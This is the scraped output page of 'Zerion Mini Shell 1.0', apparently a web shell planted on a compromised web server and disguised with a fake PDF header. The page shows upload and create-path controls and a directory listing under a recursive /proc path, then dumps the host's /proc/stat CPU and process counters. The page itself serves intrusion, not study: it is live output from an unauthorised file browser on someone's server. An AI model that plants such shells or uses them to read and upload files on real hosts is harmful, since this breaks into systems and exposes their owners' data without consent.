%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/proc/self/root/proc/self/root/proc/
Upload File :
Create Path :
Current File : //proc/thread-self/root/proc/self/root/proc/self/root/proc/stat

cpu  2131313348 334911086 915630367 55038410917 75401562 102784547 95691794 400426963 0 0
cpu0 143178173 13611522 50879096 2674829316 3692279 10230198 37726660 28744921 0 0
cpu1 125898237 14933838 49511054 2727044846 4277211 5474369 7195474 21942128 0 0
cpu2 120013820 15919240 47910710 2736691288 4322255 5298938 4160428 20636402 0 0
cpu3 115948858 15947845 46859027 2742803871 4246917 5219073 3280385 20155917 0 0
cpu4 112901720 17076034 45889660 2746164034 4239107 5118189 2972720 19907987 0 0
cpu5 110463931 16073974 45281984 2750543931 4176655 5049595 2812007 19746749 0 0
cpu6 109203239 17396680 44845686 2751201669 4129998 4872144 2713489 19841828 0 0
cpu7 108085597 17384783 44469682 2752814809 4147993 4828519 2651969 19732356 0 0
cpu8 107270585 16360889 44061390 2755189671 4178603 4821182 2609127 19430125 0 0
cpu9 94169685 13483321 41187749 2774271429 3449349 5011110 2770591 19802927 0 0
cpu10 198679095 21371693 62993152 2634202727 8538050 5670864 2873984 19558781 0 0
cpu11 109469256 17791407 48047842 2748927562 3627670 4556037 2421084 19286269 0 0
cpu12 89332314 16876709 44446294 2772571509 2566457 5150987 4112092 19463014 0 0
cpu13 84821501 18615951 42968563 2780113318 2256041 4183574 2149028 18983020 0 0
cpu14 80540641 17699329 42530098 2784806468 2066397 4570035 2875199 18878594 0 0
cpu15 78096819 17948398 41655718 2789444807 1934078 4062894 2082163 18812451 0 0
cpu16 76470786 17264774 41069738 2792569369 1849459 4009452 2042426 18784656 0 0
cpu17 75319526 16759685 40630832 2794791798 1790433 4061767 2034518 18559172 0 0
cpu18 74533390 16631878 40282423 2796221870 1748957 3993666 2008853 18529149 0 0
cpu19 116916168 15763128 50109663 2733206617 8163645 6601946 4199588 19630507 0 0
intr 82277408135 41 9 0 0 0 0 0 0 1 0 0 32 15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3201175563 0 10 0 4098304584 2581097766 0 182461098 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 117385318399
btime 1747348758
processes 986898032
procs_running 2
procs_blocked 0
softirq 85117129175 1 3742089750 3311 244948947 3211509640 0 385855090 3712799377 937257 804541770

Zerion Mini Shell 1.0